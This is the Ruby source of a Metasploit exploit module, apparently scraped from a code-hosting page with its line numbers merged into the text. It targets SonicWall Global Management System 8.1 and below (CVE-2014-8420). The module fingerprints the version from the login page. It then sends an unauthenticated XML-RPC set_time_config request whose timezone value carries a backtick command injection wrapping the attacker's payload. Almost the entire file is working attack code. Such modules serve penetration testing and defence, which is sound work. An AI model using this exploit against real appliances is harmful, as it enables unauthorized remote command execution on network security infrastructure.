Path: blob/master/modules/exploits/unix/sonicwall/sonicwall_xmlrpc_rce.rb
23873 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => "SonicWall Global Management System XMLRPC set_time_zone Unauth RCE",16'Description' => %q{17This module exploits a vulnerability in SonicWall Global18Management System Virtual Appliance versions 8.1 (Build 8110.1197)19and below. This virtual appliance can be downloaded from20http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a21holistic way to manage your entire network security environment.'2223These vulnerable versions (8.1 Build 8110.1197 and below) do not24prevent unauthenticated, external entities from making XML-RPC25requests to port 21009 of the virtual app. After the XML-RPC call26is made, a shell script is called like so:27'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.28},29'License' => MSF_LICENSE,30'Author' => [31'Michael Flanders', # MSF Module32'kernelsmith' # Advisor33],34'References' => [35['CVE', '2014-8420'],36['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],37['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']38],39'Platform' => [ 'unix' ],40'Arch' => ARCH_CMD,41'Targets' => [42[ 'SonicWall Global Management System Virtual Appliance', {} ],43],44'Payload' => {45# Can't use ampersand, Java's XML-RPC parser will complain and return an error46'BadChars' => "\x26",47'Compat' => {48'PayloadType' => 'cmd',49'RequiredCmd' => 'generic bash telnet'50}51},52'DisclosureDate' => '2016-07-22',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64OptString.new('WEB_SERVER_PORT', [65false, 'Port of web console login page.66Defaults to 80/443 depending on SSL.'67])68]69)70end7172def check73if datastore['WEB_SERVER_PORT']74port_number = datastore['WEB_SERVER_PORT']75else76port_number = datastore['SSL'] ? '443' : '80'77end7879handler = datastore['SSL'] ? 'https' : 'http'8081res = request_url("#{handler}://#{rhost}:#{port_number}")8283unless res84vprint_error 'Connection failed'85return CheckCode::Unknown86end8788unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/89return CheckCode::Safe90end9192version = Rex::Version.new $1.to_s9394unless version <= Rex::Version.new('8.1')95return CheckCode::Safe96end9798CheckCode::Appears99end100101def exploit102unless check == CheckCode::Appears103fail_with Failure::NotVulnerable, "The target is not vulnerable."104end105106print_status "The target appears to be vulnerable, continuing exploit..."107send_xml108end109110def send_xml111xml_body = <<~HERESTRING112<?xml version="1.0" encoding="UTF-8"?>113<methodCall>114<methodName>set_time_config</methodName>115<params>116<param>117<value>118<struct>119<member>120<name>timezone</name>121<value>122<string>"`#{payload.encoded}`"</string>123</value>124</member>125</struct>126</value>127</param>128</params>129</methodCall>130HERESTRING131132res = send_request_raw({133'method' => 'POST',134'uri' => '/',135'data' => xml_body,136'ctype' => 'text/xml; charset=UTF-8'137})138139unless res && res.body.include?("success")140print_error("Error sending XML to #{rhost}:#{rport}")141end142end143144end145146147